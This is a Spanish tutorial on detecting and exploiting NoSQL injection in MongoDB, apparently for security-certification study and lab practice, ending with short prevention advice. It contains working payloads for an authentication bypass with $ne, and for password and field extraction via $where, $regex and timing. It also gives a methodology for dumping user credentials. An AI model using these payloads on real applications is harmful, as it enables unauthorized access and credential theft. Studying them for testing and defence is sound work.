NoSQLI guide
Guía sobre NoSQLI
Certificaciones
- eWPT
- eWPTXv2
- OSWE
- BSCP
Descripción
Explicación técnica de la vulnerabilidad NoSQLI. Detallamos cómo identificar y explotar estas vulnerabilidad. Además, exploramos estrategias clave para prevenirla
NoSQLI
Una NoSQLI es una vulnerabilidad en la que un atacante puede interferir con las consultas que una aplicación realiza a una base de datos NoSQL. Una NoSQLI puede permitir a un atacante las siguientes cosas:
Saltar mecanismos de autenticacióno protecciónExtraer o modificar datosCausar una denegación de servicioEjecutar código en el servidor
Las bases de datos NoSQL almacenan y recuperan datos en un formato diferente a las tablas relacionales SQL tradicionales. Usan una amplia variedad de lenguajes de consulta en lugar de un estándar universal como SQL, y tienen menos restricciones relacionales
Bases de datos NoSQL
Las bases de datos NoSQL almacenan y recuperan datos en un formato distinto al de las tablas relacionales SQL tradicionales. Están diseñadas para manejar grandes volúmenes de datos no estructurados o semiestructurados. Debido a esto, suelen tener menos restricciones relacionales y menos comprobaciones de consistencia que SQL, y ofrecen beneficios importantes en términos de escalabilidad, flexibilidad y rendimiento
Al igual que en las bases de datos SQL, los usuarios interactúan con los datos mediante consultas que la aplicación envía a la base de datos. Sin embargo, diferentes bases de datos NoSQL utilizan una amplia variedad de lenguajes de consulta en lugar de un estándar universal como SQL. Estos pueden ser lenguajes personalizados o lenguajes comunes como XML o JSON
Modelos de bases de datos NoSQL
Hay una gran variedad de bases de datos NoSQL. Para detectar vulnerabilidades en una base de datos NoSQL, es útil identificar el modelo y el lenguaje que utiliza
Algunos tipos comunes de bases de datos NoSQL incluyen:
Document stores-Almacenan datosendocumentos flexiblesysemiestructurados. Suelen usarformatoscomoJSON,BSONyXML. SeconsultanmedianteAPIsolenguajes de consulta. Ejemplos:MongoDB,CouchbaseKey-value stores-Almacenan datos en formato clave-valor. Cadacampo de datosestáasociadoa unaclave única.Los valores se recuperan usando esa clave. Ejemplos:Redis,Amazon DynamoDBWide-column stores-Organizan los datos relacionados en familias de columnas flexibles en lugar de filas tradicionales. Ejemplos:Apache Cassandra,Apache HBaseGraph databases-Usan nodos para almacenar entidades y aristas para almacenar relaciones entre entidades. Ejemplos:Neo4j,Amazon Neptune
NoSQL syntax injection
Podemos detectar potenciales vulnerabilidades de NoSQL injection intentando romper la sintaxis de la consulta. Para ello, debemos testear sistemáticamente cada entrada enviando cadenas y caracteres especiales con el objetivo de provocar un error en la base de datos u otro comportamiento detectable
Si conocemos el lenguaje de la API de la base de datos objetivo, debemos usar caracteres especiales y cadenas relevantes para ese lenguaje. De lo contrario, usaremos cadenas globales que ataquen múltiples lenguajes de API
Detectar una syntax injection en MongoDB
Consideremos una aplicación de compras que muestra productos en diferentes categorías. Cuando el usuario selecciona la categoría Fizzy drinks, su navegador solicita la siguiente URL:
1
https://insecure-website.com/product/lookup?category=fizzy
Esto hace que la aplicación envíe una consulta JSON para recuperar los productos relevantes de la colección product en la base de datos MongoDB:
1
this.category == 'fizzy'
Para testear si la entrada puede ser vulnerable, enviamos una cadena como valor del parámetro category. Un ejemplo de cadena para MongoDB es:
1
2
3
'"`{
;$Foo}
$Foo \xYZ
Sin saltos de línea se vería así:
1
'"`{\r;$Foo}\n$Foo \xYZ
Podemos codificar estas cadenas podemos usar el Decoder de Burpsuite o la extensión Hackvertor. Con Hackvertor tenemos disponibles las siguientes formas de URL encoding:
urlencode- Esta función realiza unacodificación estándar de URL. En este caso,se codifican todos los caracteres especialesyse reemplazan por su representación en formato hexadecimal precedida por un %. Sin embargo, undetalle importantees quelos espacios se codifican como +urlencode_all- Esta función es másexhaustivaen su enfoque.Codifica todos los caracteres, incluyendo losno imprimiblesyespeciales, que normalmente no se codificarían en unaURL estándarurlencode_not_plus- Esta función es similar a la funciónurlencode, pero con una diferencia clave,no codifica los espacios como +, sino que los mantiene como %20, que es larepresentación estándarde unespacioen unaURLburp_urlencode- Esta función realiza unacodificación estándar de URLcomo la funciónurlencode, pero optimizada paraBurpsuitepara evitar problemas conproxiesyherramientas de seguridad
Usamos esta cadena para construir el siguiente ataque:
1
https://insecure-website.com/product/lookup?category='%22%60%7b%0d%0a%3b%24Foo%7d%0d%0a%24Foo%20%5cxYZ%00
Si esto provoca un cambio respecto a la respuesta original, puede indicar que la entrada del usuario no está filtrada o sanitizada correctamente
Las vulnerabilidades de NoSQL injection pueden ocurrir en diversos contextos, por lo tanto, tenemos que adaptar las cadenas que enviemos. De lo contrario, solo provocaríamos errores de validación que harían que la aplicación ni siquiera ejecute la consulta
En este ejemplo, estamos inyectando la cadena mediante la URL, por lo que la cadena está URL encodeada. En algunas aplicaciones, puede ser necesario inyectar el payload mediante en formato JSON. En ese caso, este payload se convertiría en este:
1
\"`{\r;$Foo}\n$Foo \\xYZ\u0000`
Determinar qué caracteres son procesados
Para determinar qué caracteres interpreta la aplicación como sintaxis, podemos inyectar caracteres individuales. Por ejemplo, podemos enviar ', lo cual da como resultado la siguiente consulta en MongoDB:
1
this.category == '''
Si esto provoca un cambio respecto a la respuesta original, puede indicar que el carácter ' ha roto la sintaxis de la consulta y ha causado un error de sintaxis. Podemos confirmarlo enviando una cadena válida escapando la comilla, así:
1
this.category == '\\''
Si esto no causa un error de sintaxis puede significar que la aplicación es vulnerable a un ataque de inyección
Operadores lógicos en JavaScript
Es importante conocer el funcionamiento de los operadores lógicos or (||) y and (&&) en JavaScript para poder confirmar si hay un comportamiento condicional y también para saber como sobrescribir condiciones existentes
Or (||)
Esta es una lista de pasos a seguir para entender como funciona el operador lógico or (||)
1
2
3
4
5
6
7
8
9
Pregunta: ¿Al menos uno de los dos es verdadero?
true || false → ✓ devuelve true
false || false → ✗ devuelve false
1 || 0 → ✓ devuelve 1 (porque 1 se considera verdadero)
💡 Si el primero ya es verdadero, ignora el segundo y lo devuelve.
And (&&)
Esta es una lista de pasos a seguir para entender como funciona el operador lógico and (&&)
1
2
3
4
5
6
7
8
9
Pregunta: ¿Los dos son verdaderos?
true && true → ✓ devuelve true
true && false → ✗ devuelve false
"hola" && 42 → ✓ devuelve 42 (porque ambos se consideran verdaderos)
💡 Si el primero es falso, ni mira el segundo y devuelve ese falso.
Confirmar comportamiento condicional
Después de detectar una vulnerabilidad, el siguiente paso es determinar si podemos influir en condiciones booleanas usando la sintaxis de NoSQL
Para probar esto, enviamos dos solicitudes, una con una condición falsa y otra con una verdadera. Por ejemplo, podemos usar estas dos expresiones:
1
' && 0 && 'x
1
' && 1 && 'x
Se vería de esta forma en una URL:
1
https://insecure-website.com/product/lookup?category=fizzy'+%26%26+0+%26%26+'x
1
https://insecure-website.com/product/lookup?category=fizzy'+%26%26+1+%26%26+'x
Si la aplicación se comporta de manera diferente, esto sugiere que la condición falsa afecta a la lógica de la consulta, pero la verdadera no. Esto indica que inyectar este estilo de sintaxis está afectando a una consulta del lado del servidor
Sobrescribir condiciones existentes
Ahora que hemos identificado que podemos influir en condiciones booleanas, podemos intentar sobrescribir condiciones existentes para explotar la vulnerabilidad. Por ejemplo, podemos inyectar una condición JavaScript que siempre se evalúe como verdadera, como:
1
'||'1'=='1
Ejemplo:
1
https://insecure-website.com/product/lookup?category=fizzy%27%7c%7c%27%31%27%3d%3d%27%31
Esto resulta en la siguiente consulta de MongoDB:
1
this.category == 'fizzy'||'1'=='1'
Como la condición inyectada siempre es verdadera, la consulta modificada devuelve todos los elementos. Esto permite ver todos los productos de cualquier categoría, incluidas categorías ocultas o desconocidas
En este laboratorio podemos ver como aplicar esta técnica:
- Detecting NoSQL injection - https://justice-reaper.github.io/posts/NoSQLI-Lab-1/
También podemos añadir un carácter nulo después del valor de la categoría. MongoDB puede ignorar todos los caracteres después de un carácter nulo. Esto significa que cualquier condición adicional en la consulta de MongoDB es ignorada. Por ejemplo, la consulta podría tener una restricción adicional this.released:
1
this.category == 'fizzy' && this.released == 1
La restricción this.released == 1 se usa para mostrar únicamente los productos que están publicados. Para los productos no publicados, probablemente se usará this.released == 0
En este caso, un atacante podría construir un ataque como el siguiente:
1
https://insecure-website.com/product/lookup?category=fizzy'%00
Esto generaría la siguiente consulta NoSQL:
1
this.category == 'fizzy'\u0000' && this.released == 1
Si MongoDB ignora todos los caracteres después del carácter nulo, esto elimina el requisito de que el campo released sea igual a 1. Como resultado, se muestran todos los productos de la categoría fizzy, incluidos los productos no publicados
Advertencia
Debemos tener cuidado al inyectar condiciones que siempre evalúan como verdaderas en una consulta NoSQL. Aunque pueda parecer inofensivo en el contexto inicial, es común que las aplicaciones reutilicen los datos de una misma solicitud en múltiples consultas diferentes
Si la aplicación usa ese dato al actualizar o eliminar información, esto podría provocar una pérdida accidental de datos
Explotar un syntax injection para extraer datos
En muchas bases de datos NoSQL, algunos operadores o funciones pueden ejecutar JavaScript pero con limitaciones, como el operador $where de MongoDB o la función mapReduce(). Esto significa que, si una aplicación vulnerable usa estos operadores o funciones, la base de datos puede evaluar el código JavaScript como parte de la consulta. Por lo tanto, podemos usar funciones JavaScript para extraer datos de la base de datos
Exfiltrar datos en MongoDB
Consideremos una aplicación vulnerable que permite a los usuarios buscar a otros usuarios registrados y muestra su rol. Esto genera esta solicitud en la URL:
1
https://insecure-website.com/user/lookup?username=admin
Esto produce la siguiente consulta NoSQL sobre la colección users:
1
{"$where":"this.username == 'admin'"}
Como la consulta usa el operador $where, podemos intentar inyectar funciones JavaScript para que devuelva datos sensibles. Por ejemplo, podemos enviar el siguiente payload:
1
admin' && this.password[0] == 'a' || 'a'=='b
Esto devuelve el primer carácter de la contraseña del usuario, permitiendo extraer la contraseña carácter por carácter
También podemos usar la función JavaScript match() para extraer información. Por ejemplo, el siguiente payload permite identificar si la contraseña contiene dígitos:
1
admin' && this.password.match(/\d/) || 'a'=='b
En este laboratorio podemos ver como aplicar esta técnica:
- Exploiting NoSQL injection to extract data - https://justice-reaper.github.io/posts/NoSQLI-Lab-3/
Identificar el nombre de los campos
Como MongoDB maneja datos semiestructurados que no requieren un esquema fijo, puede ser necesario identificar los campos válidos de la colección antes de poder extraer datos mediante un JavaScript injection
Por ejemplo, para identificar si la base de datos MongoDB contiene un campo password, podríamos enviar el siguiente payload:
1
https://insecure-website.com/user/lookup?username=admin'+%26%26+this.password!%3d'
Enviamos el payload otra vez usando un campo existente y usando un campo que no existe. En este ejemplo, sabemos que el campo username existe, así que podemos enviar estos payloads:
1
admin' && this.username!='
1
admin' && this.foo!='
Si el campo password existe, esperamos que la respuesta sea idéntica a la del campo existente username pero diferente a la del campo inexistente foo
Si queremos probar diferentes nombres de campo, podemos realizar un ataque de fuerza bruta usando un diccionario para iterar sobre posibles nombres de campos
Time based injection
A veces, provocar un error en la base de datos no produce ninguna diferencia en la respuesta de la aplicación. En esta situación, aún podemos detectar y explotar la vulnerabilidad usando un JavaScript injection para provocar un delay condicinal
Para llevar a cabo una NoSQLI time based debemos:
Recargar la página varias veces para determinar el tiempo base que tarda en cargarInsertaruntiming based payloaden laentrada.Usarunpayloadqueprovoqueunretraso intencionalen larespuestacuando seejecuta. Por ejemplo,este payload {"$where": "sleep(5000)"} causa un retraso intencional de 5000 ms cuando la inyección es exitosaIdentificar si la respuesta tarda más en cargar, lo cual indicaría que la inyección ha sido exitosa
Los siguientes payloads provocarán un retardo si la contraseña empieza por la letra a:
1
admin'+function(x){var waitTill = new Date(new Date().getTime() + 5000);while((x.password[0]==="a") && waitTill > new Date()){};}(this)+'
1
admin'+function(x){if(x.password[0]==="a"){sleep(5000)};}(this)+'
NoSQL operator injection
Las bases de datos NoSQL suelen usar operadores de consulta que permiten especificar condiciones que los datos deben cumplir para ser incluidos en el resultado de la consulta. Ejemplos de operadores de consulta de MongoDB:
$where-Coincidecondocumentosquecumplenunaexpresión JavaScript$ne-Coincide con todos los valores que **no** son iguales a un valor especificado$in-Coincide con todos los valores especificados en un array$regex-Selecciona documentos cuyos valores coinciden con una expresión regular dada
Podemos inyectar operadores de consulta para manipular consultas NoSQL. Para ello, debemos enviar diferentes operadores en varias entradas de usuario y revisar las respuestas en busca de errores u otros cambios
Enviar query operators
En mensajes en formato JSON, podemos insertar operadores como objetos anidados. Por ejemplo, esto:
1
{"username":"wiener"}
Se convierte en esto:
1
{"username":{"$ne":"invalid"}}
Para entradas basadas en URL, podemos insertar operadores mediante parámetros de URL. Por ejemplo, esto:
1
username=wiener
Se convierte en esto:
1
username[$ne]=invalid
Si no funciona, podemos intentar lo siguiente:
Convertirelmétodo de la solicituddeGET a POSTCambiarlacabecera Content-Typeaapplication/jsonAñadir un JSON al body del mensajeInyectar operadores en el JSON
Podemos usar la extensión Content Type Converter de Burpsuite para convertir automáticamente el método de la solicitud y transformar una petición por POST con la data en formato URL-encoded a formato JSON
Detectar un operator injection en MongoDB
Consideremos una aplicación vulnerable que acepta un username y password en el body de una solicitud por POST:
1
{"username":"wiener","password":"peter"}
Testeamos cada entrada con varios operadores. Por ejemplo, para comprobar si el campo username procesa un operador, podemos intentar hacer lo siguiente:
1
{"username":{"$ne":"invalid"},"password":"peter"}
Si el operador $ne se aplica, realizará consulta todos los usuarios cuyo username no sea invalid
Si tanto username como password procesan operadores, es posible bypassear la autenticación con el siguiente payload:
1
{"username":{"$ne":"invalid"},"password":{"$ne":"invalid"}}
Esta consulta devuelve todas las credenciales donde username y password no son invalid. Como resultado, iniciamos sesión como el primer usuario de la colección
Para apuntar a una cuenta concreta, podemos construir un payload que incluya un username conocido o adivinado. Por ejemplo:
1
{"username":{"$in":["admin","administrator","superadmin"]},"password":{"$ne":""}}
En este laboratorio podemos ver como aplicar esta técnica:
- Exploiting NoSQL operator injection to bypass authentication - https://justice-reaper.github.io/posts/NoSQLI-Lab-2/
Explotar un NoSQL operator injection para extraer datos
Aunque la consulta original no use operadores que permitan ejecutar código JavaScript arbitrario, nosotros podemos inyectar uno de estos operadores. Posteriormente, usamos condiciones booleanas para determinar si la aplicación ejecuta el código JavaScript que inyectamos mediante ese operador
Inyección de operadores en MongoDB
Imaginemos una aplicación vulnerable que acepta username y password en el body de una petición por POST:
1
{"username":"wiener","password":"peter"}
Para comprobar si podemos inyectar operadores, debemos intentar añadir el operador $where como parámetro adicional y enviar una petición cuya condición sea falsa y otra cuya condición sea verdadera. Por ejemplo:
1
{"username":"wiener","password":"peter", "$where":"0"}
1
{"username":"wiener","password":"peter", "$where":"1"}
Si hay una diferencia entre las respuestas, esto puede indicar que la expresión JavaScript que hay dentro de la cláusula $where está siendo evaluada
Extracción de nombres de campos
Si hemos inyectado un operador que permite ejecutar JavaScript, podemos usar keys() para extraer los nombres de los campos. Por ejemplo, podemos enviar el siguiente payload:
1
"$where":"Object.keys(this)[0].match('^.{0}a.*')"
Esto inspecciona el primer campo del objeto user y devuelve el primer carácter del nombre del campo. Esto nos permite extraer el nombre del campo carácter por carácter
En este laboratorio podemos ver como aplicar esta técnica:
- Exploiting NoSQL operator injection to extract unknown fields - https://justice-reaper.github.io/posts/NoSQLI-Lab-4/
Exfiltración de datos usando operadores
También podemos extraer datos usando operadores que no permiten ejecutar código JavaScript. Por ejemplo, podemos usar el operador $regex para extraer datos carácter por carácter
Imaginemos una aplicación vulnerable que acepta username y password en el body de una petición por POST. Por ejemplo:
1
{"username":"myuser","password":"mypass"}
Podemos empezar comprobando si el operador $regex es procesado:
1
{"username":"admin","password":{"$regex":"^.*"}}
Si la respuesta de esta petición es diferente de la respuesta que obtenemos al enviar una contraseña incorrecta, esto indica que la aplicación podría ser vulnerable
Posteriormente, podemos usar $regex para extraer datos carácter por carácter. Por ejemplo, este payload comprueba si la contraseña empieza por a:
1
{"username":"admin","password":{"$regex":"^a*"}}
Cheatsheet
Usaremos estas cheatsheet para facilitar la detección y explotación de esta vulnerabilidad:
- Hacking tools https://justice-reaper.github.io/posts/Hacking-Tools/
¿Cómo detectar y explotar un NoSQLI?
Teniendo en cuenta que los términos y herramientas mencionados a continuación se encuentran en la cheatsheet mencionada anteriormente, llevaremos a cabo los siguientes pasos:
Instalarlas extensionesHackvertor,NoSQLI ScanneryContent Type ConverterdeBurpsuiteAñadireldominioy sussubdominiosalscopeHacer un
escaneo generalconBurpsuite. Comotipo de escaneomarcaremosCrawl and audity comoconfiguración de escaneousaremosDeepEscanearemos partes específicas de la peticiónusando elescáner de Burpsuite. Paraescanearlosinsertion pointsdebemos seleccionar entipo de escaneola opciónAudit selected itemsSi nos encontramos un
loginen el que seenvíanlosdatosenformato JSONo enformato x-www-form-urlencodedpodemos intentarbypassearelloginusando lospayloadsdePayloadsAllTheThingsyaccedera lacuentadelusuario administradoroenumerar usuarios y dumpear sus respectivas contraseñas usando los scripts NoSQLI-Password-Dumper.py y NoSQLI-User-Enumerator.py de NoSQLI Attack Suite. Con las extensionesNoSQLI ScanneryContent Type Converterpodemoscambiar el formato mediante el cual se mandan los archivosy desdeBurpsuitehaciendoclick derecho > Change request method, podemoscambiarelmétodoaPOSTo aGET.Es necesario probar todas las combinaciones posiblesEn el caso en el que nos haga falta algún token para poder resetear la contraseña podemos aprovecharnos del operador $where para obtener ese campo del documento. Para hacer esto podemos usar el scriptNoSQLI-Field-Dumper-Post-Method.pydeNoSQLI Attack SuiteparaobtenereltokenSi el escaneo no identifica nada y tampoco podemos realizar inyecciones en el login, vamos abuscar las inyecciones de forma manual, para ello cuando veamos unaURLde este estilohttps://example.com/user/lookup?user=, vamos atestear los caracteres que se mencionan en la secciónhttps://justice-reaper.github.io/posts/NoSQLI-Guide/#detectar-una-syntax-injection-en-mongodbuno por uno y ver si la web nos arroja algún errorUna vez
detectadalainyección, vamos a intentarescapar el carácter que provoca el error con una barra invertida \. Si estosolucionaelerroresprobableque estemos ante unaNoSQLIPosteriomente, vamos a
consultarestasecciónhttps://justice-reaper.github.io/posts/NoSQLI-Guide/#operadores-l%C3%B3gicos-en-javascript paraconfirmar si podemos manipular el comportamiento condicional de la NoSQLIUna vez
detectadalaNoSQLI, vamos ausarel scriptNoSQLI-Field-Dumper-Get-Method.pydeNoSQLI Attack Suiteparaobtenerlacontraseñadelusuarioquedeseemos
¿Cómo prevenir una NoSQLI?
La forma adecuada de prevenir ataques de NoSQL injection depende de la tecnología NoSQL específica que estemos utilizando. Por ello, se recomienda leer la documentación de seguridad de la base de datos NoSQL que usemos. Aun así, las siguientes pautas generales también ayudan:
Sanitizar y validar la entrada del usuario, usando unaallowlist de caracteres aceptadosInsertar la entrada del usuario mediante consultas parametrizadas en lugar de concatenarla directamente en la consulta
